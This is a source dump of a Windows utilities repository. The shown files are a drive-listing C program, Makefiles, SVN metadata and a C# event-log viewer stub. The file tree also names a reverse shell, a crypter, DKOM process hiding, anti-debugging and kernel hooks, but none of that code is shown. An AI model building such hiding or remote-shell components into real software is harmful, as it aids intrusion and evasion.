├── .gitignore ├── README.md ├── adssearch ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Makefile.svn-base │ │ └── adssearch.c.svn-base ├── Makefile └── adssearch.c ├── binaudit ├── Makefile.mingw ├── Makefile.win32 └── binaudit.c ├── drivelist ├── Makefile.mingw ├── Makefile.win32 └── drivelist.c ├── examples ├── EventLogParser │ ├── .svn │ │ ├── all-wcprops │ │ ├── dir-prop-base │ │ ├── entries │ │ └── text-base │ │ │ └── EventLogParser.sln.svn-base │ ├── EventLogParser.sln │ ├── EventLogParser.suo │ └── EventLogParser │ │ ├── .svn │ │ ├── all-wcprops │ │ ├── dir-prop-base │ │ ├── entries │ │ └── text-base │ │ │ ├── EventLogParser.cs.svn-base │ │ │ ├── EventLogParser.csproj.svn-base │ │ │ ├── MainForm.Designer.cs.svn-base │ │ │ ├── MainForm.cs.svn-base │ │ │ ├── MainForm.resx.svn-base │ │ │ └── Program.cs.svn-base │ │ ├── EventLogParser.cs │ │ ├── EventLogParser.csproj │ │ ├── MainForm.Designer.cs │ │ ├── MainForm.cs │ │ ├── MainForm.resx │ │ ├── Program.cs │ │ ├── Properties │ │ ├── .svn │ │ │ ├── all-wcprops │ │ │ ├── entries │ │ │ └── text-base │ │ │ │ ├── AssemblyInfo.cs.svn-base │ │ │ │ ├── Resources.Designer.cs.svn-base │ │ │ │ ├── Resources.resx.svn-base │ │ │ │ ├── Settings.Designer.cs.svn-base │ │ │ │ └── Settings.settings.svn-base │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── Resources.resx │ │ ├── Settings.Designer.cs │ │ └── Settings.settings │ │ ├── bin │ │ └── Debug │ │ │ ├── EventLogParser.exe │ │ │ ├── EventLogParser.pdb │ │ │ ├── EventLogParser.vshost.exe │ │ │ └── EventLogParser.vshost.exe.manifest │ │ └── obj │ │ └── Debug │ │ ├── EventLogParser.MainForm.resources │ │ ├── EventLogParser.Properties.Resources.resources │ │ ├── EventLogParser.csproj.FileListAbsolute.txt │ │ ├── EventLogParser.csproj.GenerateResource.Cache │ │ ├── EventLogParser.exe │ │ └── EventLogParser.pdb ├── GetVersionEx │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── GetVersionEx.c.svn-base │ │ │ └── Makefile.svn-base │ ├── GetVersionEx.c │ └── Makefile ├── RtlCreateUserThread_example.c ├── antidbg │ └── antiolly.s ├── crypter │ ├── crypter.c │ └── stub.c ├── dkomprochide │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ └── hide.c.svn-base │ └── hide.c ├── drvloader │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ └── loader.c.svn-base │ └── loader.c ├── enumfilesdriver │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── enumfiles.c.svn-base │ │ │ └── enumfiles.h.svn-base │ ├── enumfiles.c │ └── enumfiles.h ├── enumfileszw │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── enumfiles.c.svn-base │ │ │ └── hidefile.c.svn-base │ ├── enumfiles.c │ └── hidefile.c ├── enummods │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── Makefile.svn-base │ │ │ └── enummods.c.svn-base │ ├── Makefile │ └── enummods.c ├── evtlogdump │ └── main.c ├── handles │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ └── handles.c.svn-base │ └── handles.c ├── hex_dump.c ├── hideanything │ └── hideanything.c ├── linuxmemdump.c ├── memscan │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ └── memscan.c.svn-base │ └── memscan.c ├── msdn_ver_sig │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── Makefile.svn-base │ │ │ └── versig.c.svn-base │ ├── Makefile │ └── versig.c ├── netenumgroups │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── Makefile.svn-base │ │ │ └── netenumgroups.c.svn-base │ ├── Makefile │ └── netenumgroups.c ├── netstat │ └── netstat.c ├── netusergetinfo │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ └── netusergetinfo.c.svn-base │ └── netusergetinfo.c ├── patcher │ ├── global.c │ ├── global.h │ └── main.c ├── pe │ ├── imports.c │ └── pewalk.c ├── pedmp │ ├── pedmp-1.c │ └── pedmp.c ├── pedump │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ ├── prop-base │ │ │ └── pedump.zip.svn-base │ │ └── text-base │ │ │ ├── Makefile.svn-base │ │ │ ├── pedump.c.svn-base │ │ │ └── pedump.zip.svn-base │ ├── Makefile │ ├── pedump.c │ └── pedump.zip ├── portscanner │ └── portscan.c ├── process_enum │ └── main.c ├── querykey │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ ├── prop-base │ │ │ └── querykey.exe.svn-base │ │ └── text-base │ │ │ ├── Makefile.svn-base │ │ │ ├── querykey.c.svn-base │ │ │ └── querykey.exe.svn-base │ ├── Makefile │ ├── querykey.c │ └── querykey.exe ├── random │ ├── IATHookexample.c │ ├── ReadMemoryKernel.c │ ├── antidebug.c │ ├── bytearraygen.c │ ├── hips.c │ ├── hookzwcreateprocess.c │ └── readprocessmemoryfromkernel.c ├── reverse_shell.c ├── samplesys │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ ├── prop-base │ │ │ └── simple.sys.svn-base │ │ └── text-base │ │ │ ├── Makefile.svn-base │ │ │ ├── sample.c.svn-base │ │ │ └── simple.sys.svn-base │ ├── Makefile │ ├── sample.c │ └── simple.sys ├── sigver │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── sigver.c.svn-base │ │ │ ├── sigver.sln.svn-base │ │ │ └── sigver.vcproj.svn-base │ ├── sigver.c │ ├── sigver.sln │ └── sigver.vcproj ├── single_function_gproc_call.c ├── ssdt_hook_detect.c ├── ssdt_idt │ ├── .svn │ │ ├── all-wcprops │ │ └── entries │ ├── EXE │ │ ├── .svn │ │ │ ├── all-wcprops │ │ │ ├── entries │ │ │ ├── prop-base │ │ │ │ └── Lookup.suo.svn-base │ │ │ └── text-base │ │ │ │ ├── AboutForm.Designer.cs.svn-base │ │ │ │ ├── AboutForm.cs.svn-base │ │ │ │ ├── AboutForm.resx.svn-base │ │ │ │ ├── Driver.cs.svn-base │ │ │ │ ├── Lookup.csproj.svn-base │ │ │ │ ├── Lookup.sln.svn-base │ │ │ │ ├── Lookup.suo.svn-base │ │ │ │ ├── MainForm.Designer.cs.svn-base │ │ │ │ ├── MainForm.cs.svn-base │ │ │ │ ├── MainForm.resx.svn-base │ │ │ │ ├── Program.cs.svn-base │ │ │ │ ├── SvcInstaller.cs.svn-base │ │ │ │ └── Utility.cs.svn-base │ │ ├── AboutForm.Designer.cs │ │ ├── AboutForm.cs │ │ ├── AboutForm.resx │ │ ├── Driver.cs │ │ ├── Lookup.csproj │ │ ├── Lookup.sln │ │ ├── Lookup.suo │ │ ├── MainForm.Designer.cs │ │ ├── MainForm.cs │ │ ├── MainForm.resx │ │ ├── Program.cs │ │ ├── Properties │ │ │ ├── .svn │ │ │ │ ├── all-wcprops │ │ │ │ ├── entries │ │ │ │ └── text-base │ │ │ │ │ ├── AssemblyInfo.cs.svn-base │ │ │ │ │ ├── Resources.Designer.cs.svn-base │ │ │ │ │ ├── Resources.resx.svn-base │ │ │ │ │ ├── Settings.Designer.cs.svn-base │ │ │ │ │ └── Settings.settings.svn-base │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ ├── Resources.resx │ │ │ ├── Settings.Designer.cs │ │ │ └── Settings.settings │ │ ├── SvcInstaller.cs │ │ └── Utility.cs │ └── SYS │ │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── general.h.svn-base │ │ │ ├── lookup.c.svn-base │ │ │ ├── lookup.h.svn-base │ │ │ ├── lookup.rc.svn-base │ │ │ ├── makefile.svn-base │ │ │ └── sources.svn-base │ │ ├── general.h │ │ ├── lookup.c │ │ ├── lookup.h │ │ ├── lookup.rc │ │ ├── makefile │ │ └── sources └── wmitester │ ├── .svn │ ├── all-wcprops │ ├── entries │ ├── prop-base │ │ └── wmitester.suo.svn-base │ └── text-base │ │ ├── wmitester.sln.svn-base │ │ └── wmitester.suo.svn-base │ ├── wmitester.sln │ ├── wmitester.suo │ └── wmitester │ ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Program.cs.svn-base │ │ └── wmitester.csproj.svn-base │ ├── Program.cs │ ├── Properties │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── AssemblyInfo.cs.svn-base │ │ │ ├── Resources.Designer.cs.svn-base │ │ │ ├── Resources.resx.svn-base │ │ │ ├── Settings.Designer.cs.svn-base │ │ │ └── Settings.settings.svn-base │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings │ └── wmitester.csproj ├── exeinfo ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Makefile.svn-base │ │ ├── Makefile.win32.svn-base │ │ └── exeinfo.c.svn-base ├── Makefile ├── Makefile.win32 └── exeinfo.c ├── gpoenum └── policy.c ├── hogan ├── chijiuxing │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── Makefile.svn-base │ │ │ └── chijiuxing.c.svn-base │ ├── Makefile │ └── chijiuxing.c ├── docs │ └── Process.txt ├── jincheng │ ├── .svn │ │ ├── all-wcprops │ │ ├── entries │ │ └── text-base │ │ │ ├── Makefile.svn-base │ │ │ ├── jincheng.c.svn-base │ │ │ └── methods.txt.svn-base │ ├── Makefile │ ├── jincheng.c │ └── methods.txt └── libmeiju │ ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Makefile.svn-base │ │ ├── libmeiju.c.svn-base │ │ ├── libmeiju.h.svn-base │ │ ├── process.c.svn-base │ │ └── system.c.svn-base │ ├── Makefile │ ├── SetTokenPrivileges.txt │ ├── libmeiju.c │ ├── libmeiju.h │ ├── process.c │ └── system.c ├── installedappsenum └── installed.c ├── keypull ├── Makefile.mingw ├── Makefile.win32 └── keypull.c ├── md5index ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Makefile.svn-base │ │ ├── md5.c.svn-base │ │ ├── md5.h.svn-base │ │ └── md5index.c.svn-base ├── Makefile ├── md5.c ├── md5.h └── md5index.c ├── md5search ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Makefile.svn-base │ │ ├── md5.c.svn-base │ │ ├── md5.h.svn-base │ │ └── md5search.c.svn-base ├── Makefile ├── md5.c ├── md5.h └── md5search.c ├── netjobenum ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Makefile.svn-base │ │ ├── netjobenum.c.svn-base │ │ └── netjobenum.cpp.svn-base ├── Makefile ├── netjobenum.c └── netjobenum.cpp ├── nettod ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Makefile.svn-base │ │ └── nettod.c.svn-base ├── Makefile └── nettod.c ├── regbackup └── main.c ├── simplewindow ├── Makefile └── simplewindow.c ├── siphasher ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Makefile.svn-base │ │ └── siphasher.c.svn-base ├── Makefile └── siphasher.c ├── systemcmd ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Makefile.svn-base │ │ ├── systemcmd.c.svn-base │ │ ├── systemcmd.h.svn-base │ │ ├── systemcmdsvc.c.svn-base │ │ └── systemcmdsvc.h.svn-base ├── Makefile ├── systemcmd.c ├── systemcmd.h ├── systemcmdsvc.c └── systemcmdsvc.h ├── systeminfo ├── .svn │ ├── all-wcprops │ ├── entries │ └── text-base │ │ ├── Makefile.svn-base │ │ └── systeminfo.c.svn-base ├── Makefile └── systeminfo.c ├── userenum └── users.c ├── winevtenum ├── .svn │ ├── all-wcprops │ ├── dir-prop-base │ ├── entries │ └── text-base │ │ ├── WindowsEventReader.vcproj.svn-base │ │ └── main.c.svn-base └── main.c └── wlanscan └── wlanscan.c /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | wintools 2 | === 3 | 4 | Drivelist 5 | --- 6 | Drivelist is a command line utility for enumerating all of the disk drives on a windows computer. 7 | 8 | Keypull 9 | --- 10 | Keypull is a command line utility for pulling the CD key values for a few specific Microsoft Windows applications. 11 | 12 | Simplewindow 13 | --- 14 | Simplewindow is the basic code required to render a window in the Microsoft Windows OS. 15 | 16 | Credits 17 | --- 18 | hammackj 19 | -------------------------------------------------------------------------------- /adssearch/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 41 4 | /svn/wintools/!svn/ver/18/trunk/adssearch 5 | END 6 | Makefile 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 50 10 | /svn/wintools/!svn/ver/18/trunk/adssearch/Makefile 11 | END 12 | adssearch.c 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 53 16 | /svn/wintools/!svn/ver/18/trunk/adssearch/adssearch.c 17 | END 18 | -------------------------------------------------------------------------------- /adssearch/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/adssearch 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:36:48.785579Z 11 | 18 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | Makefile 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:46.106791Z 36 | 4b609af675a4d43024870a2252a942d4 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 233 62 | 63 | adssearch.c 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:46.106791Z 70 | 5b3ce29f11833d48d64c453ef5f944d2 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 4367 96 | 97 | -------------------------------------------------------------------------------- /adssearch/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC /Zi 3 | LINKS=/link kernel32.lib /OUT:adssearch.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: adssearch 6 | 7 | adssearch: adssearch.c 8 | $(CC) $(CFLAGS) adssearch.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj *.pdb *.ilk 12 | -------------------------------------------------------------------------------- /adssearch/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC /Zi 3 | LINKS=/link kernel32.lib /OUT:adssearch.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: adssearch 6 | 7 | adssearch: adssearch.c 8 | $(CC) $(CFLAGS) adssearch.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj *.pdb *.ilk 12 | -------------------------------------------------------------------------------- /binaudit/Makefile.mingw: -------------------------------------------------------------------------------- 1 | CC=i586-mingw32msvc-cc 2 | CFLAGS=-x c 3 | LDFLAGS= 4 | 5 | STRIP=i586-mingw32msvc-strip 6 | 7 | all: dl.exe 8 | 9 | dl.exe: drivelist.c 10 | $(CC) -o dl.exe $(CFLAGS) drivelist.c $(LDFLAGS) 11 | $(STRIP) dl.exe 12 | 13 | clean: 14 | rm *.exe *.o 15 | -------------------------------------------------------------------------------- /binaudit/Makefile.win32: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LDFLAGS=/link kernel32.lib /SUBSYSTEM:CONSOLE 4 | 5 | all: dl.exe 6 | 7 | dl.exe: drivelist.c 8 | $(CC) /OUT:dl.exe $(CFLAGS) drivelist.c $(LDFLAGS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /drivelist/Makefile.mingw: -------------------------------------------------------------------------------- 1 | CC=i586-mingw32msvc-cc 2 | CFLAGS=-x c 3 | LDFLAGS= 4 | 5 | STRIP=i586-mingw32msvc-strip 6 | 7 | all: dl.exe 8 | 9 | dl.exe: drivelist.c 10 | $(CC) -o dl.exe $(CFLAGS) drivelist.c $(LDFLAGS) 11 | $(STRIP) dl.exe 12 | 13 | clean: 14 | rm *.exe *.o 15 | -------------------------------------------------------------------------------- /drivelist/Makefile.win32: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LDFLAGS=/link kernel32.lib /SUBSYSTEM:CONSOLE 4 | 5 | all: dl.exe 6 | 7 | dl.exe: drivelist.c 8 | $(CC) /OUT:dl.exe $(CFLAGS) drivelist.c $(LDFLAGS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /drivelist/drivelist.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Drivelist v1.0.1 3 | * @file 4 | * 5 | * 05-25-2008: JPH - Created. 6 | * 08-22-2008: JPH - Added case 0, 1 and 6 to the switch of types. 7 | * 07-21-2009: JPH - Added imports via comments, to ease mingw compiles 8 | * 9 | * @author Jacob Hammack 10 | */ 11 | 12 | #include 13 | #include 14 | 15 | #pragma comment(lib, "kernel32.lib") 16 | 17 | /** 18 | * List's and prints all mounted drives and their drive type. 19 | * 20 | * @author Jacob Hammack 21 | */ 22 | void ListMountedDrives(void) 23 | { 24 | char Buffer[MAX_PATH]; 25 | char *DriveLetter; 26 | int DriveType; 27 | GetLogicalDriveStrings(MAX_PATH, Buffer); 28 | DriveLetter = Buffer; 29 | 30 | while (*DriveLetter) 31 | { 32 | if(*DriveLetter == 0) 33 | { 34 | break; 35 | } 36 | 37 | DriveType = GetDriveType(DriveLetter); 38 | 39 | switch(DriveType) 40 | { 41 | case 0: 42 | printf("%s\tUnknown Type\n", DriveLetter); 43 | break; 44 | 45 | case 1: 46 | printf("%s\tInvalid Root Path\n", DriveLetter); 47 | break; 48 | 49 | case 2: 50 | printf("%s\tRemoveable Drive\n", DriveLetter); 51 | break; 52 | 53 | case 3: 54 | printf("%s\tFixed Drive\n", DriveLetter); 55 | break; 56 | 57 | case 4: 58 | printf("%s\tNetwork Drive\n", DriveLetter); 59 | break; 60 | 61 | case 5: 62 | printf("%s\tCD-ROM Drive\n", DriveLetter); 63 | break; 64 | 65 | case 6: 66 | printf("%s\tRam Drive\n", DriveLetter); 67 | break; 68 | } 69 | 70 | DriveLetter = &DriveLetter[strlen(DriveLetter) + 1]; 71 | } 72 | } 73 | 74 | /** 75 | * Main entry point for the DriveList Application. 76 | * 77 | * @author Jacob Hammack 78 | */ 79 | int main(int argc, char *argv[]) 80 | { 81 | printf("Drivelist v1.0.2\nJacob Hammack\nhttp://www.hammackj.com\n\n"); 82 | 83 | ListMountedDrives(); 84 | 85 | return 0; 86 | } 87 | -------------------------------------------------------------------------------- /examples/EventLogParser/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 65 4 | /svn/wintools/!svn/ver/62/trunk/EventLogParser_src/EventLogParser 5 | END 6 | EventLogParser.sln 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 84 10 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser.sln 11 | END 12 | -------------------------------------------------------------------------------- /examples/EventLogParser/.svn/dir-prop-base: -------------------------------------------------------------------------------- 1 | K 10 2 | svn:ignore 3 | V 19 4 | EventLogParser.suo 5 | 6 | END 7 | -------------------------------------------------------------------------------- /examples/EventLogParser/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/EventLogParser_src/EventLogParser 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-01-07T18:27:27.699886Z 11 | 62 12 | hammackj 13 | has-props 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | EventLogParser 30 | dir 31 | 32 | EventLogParser.sln 33 | file 34 | 35 | 36 | 37 | 38 | 2009-12-22T16:56:10.221495Z 39 | 6dbd8589812f436cc957e3e361858273 40 | 2009-12-28T19:43:32.100245Z 41 | 28 42 | hammackj 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 932 65 | 66 | -------------------------------------------------------------------------------- /examples/EventLogParser/.svn/text-base/EventLogParser.sln.svn-base: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EventLogParser", "EventLogParser\EventLogParser.csproj", "{C419E886-E1B5-4858-966D-DA69F59F7CC5}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {C419E886-E1B5-4858-966D-DA69F59F7CC5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {C419E886-E1B5-4858-966D-DA69F59F7CC5}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {C419E886-E1B5-4858-966D-DA69F59F7CC5}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {C419E886-E1B5-4858-966D-DA69F59F7CC5}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EventLogParser", "EventLogParser\EventLogParser.csproj", "{C419E886-E1B5-4858-966D-DA69F59F7CC5}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {C419E886-E1B5-4858-966D-DA69F59F7CC5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {C419E886-E1B5-4858-966D-DA69F59F7CC5}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {C419E886-E1B5-4858-966D-DA69F59F7CC5}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {C419E886-E1B5-4858-966D-DA69F59F7CC5}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/EventLogParser/EventLogParser.suo -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 80 4 | /svn/wintools/!svn/ver/62/trunk/EventLogParser_src/EventLogParser/EventLogParser 5 | END 6 | EventLogParser.csproj 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 102 10 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/EventLogParser.csproj 11 | END 12 | EventLogParser.cs 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 98 16 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/EventLogParser.cs 17 | END 18 | MainForm.resx 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 94 22 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/MainForm.resx 23 | END 24 | MainForm.Designer.cs 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 101 28 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/MainForm.Designer.cs 29 | END 30 | Program.cs 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 91 34 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/Program.cs 35 | END 36 | MainForm.cs 37 | K 25 38 | svn:wc:ra_dav:version-url 39 | V 92 40 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/MainForm.cs 41 | END 42 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/.svn/dir-prop-base: -------------------------------------------------------------------------------- 1 | K 10 2 | svn:ignore 3 | V 8 4 | bin 5 | obj 6 | 7 | END 8 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/.svn/text-base/Program.cs.svn-base: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Windows.Forms; 4 | 5 | namespace EventLogParser 6 | { 7 | static class Program 8 | { 9 | /// 10 | /// The main entry point for the application. 11 | /// 12 | [STAThread] 13 | static void Main() 14 | { 15 | Application.EnableVisualStyles(); 16 | Application.SetCompatibleTextRenderingDefault(false); 17 | Application.Run(new MainForm()); 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Windows.Forms; 4 | 5 | namespace EventLogParser 6 | { 7 | static class Program 8 | { 9 | /// 10 | /// The main entry point for the application. 11 | /// 12 | [STAThread] 13 | static void Main() 14 | { 15 | Application.EnableVisualStyles(); 16 | Application.SetCompatibleTextRenderingDefault(false); 17 | Application.Run(new MainForm()); 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/Properties/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 91 4 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/Properties 5 | END 6 | AssemblyInfo.cs 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 107 10 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/Properties/AssemblyInfo.cs 11 | END 12 | Settings.settings 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 109 16 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/Properties/Settings.settings 17 | END 18 | Settings.Designer.cs 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 112 22 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/Properties/Settings.Designer.cs 23 | END 24 | Resources.resx 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 106 28 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/Properties/Resources.resx 29 | END 30 | Resources.Designer.cs 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 113 34 | /svn/wintools/!svn/ver/28/trunk/EventLogParser_src/EventLogParser/EventLogParser/Properties/Resources.Designer.cs 35 | END 36 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/Properties/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/EventLogParser_src/EventLogParser/EventLogParser/Properties 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-28T19:43:32.100245Z 11 | 28 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | AssemblyInfo.cs 30 | file 31 | 32 | 33 | 34 | 35 | 2006-08-22T00:51:32.000000Z 36 | 857b5bf85c56269df8381f7700130345 37 | 2009-12-28T19:43:32.100245Z 38 | 28 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 1303 62 | 63 | Settings.settings 64 | file 65 | 66 | 67 | 68 | 69 | 2006-08-21T17:15:22.000000Z 70 | 8c0f00d7d9b0046695a0255f1b11b061 71 | 2009-12-28T19:43:32.100245Z 72 | 28 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 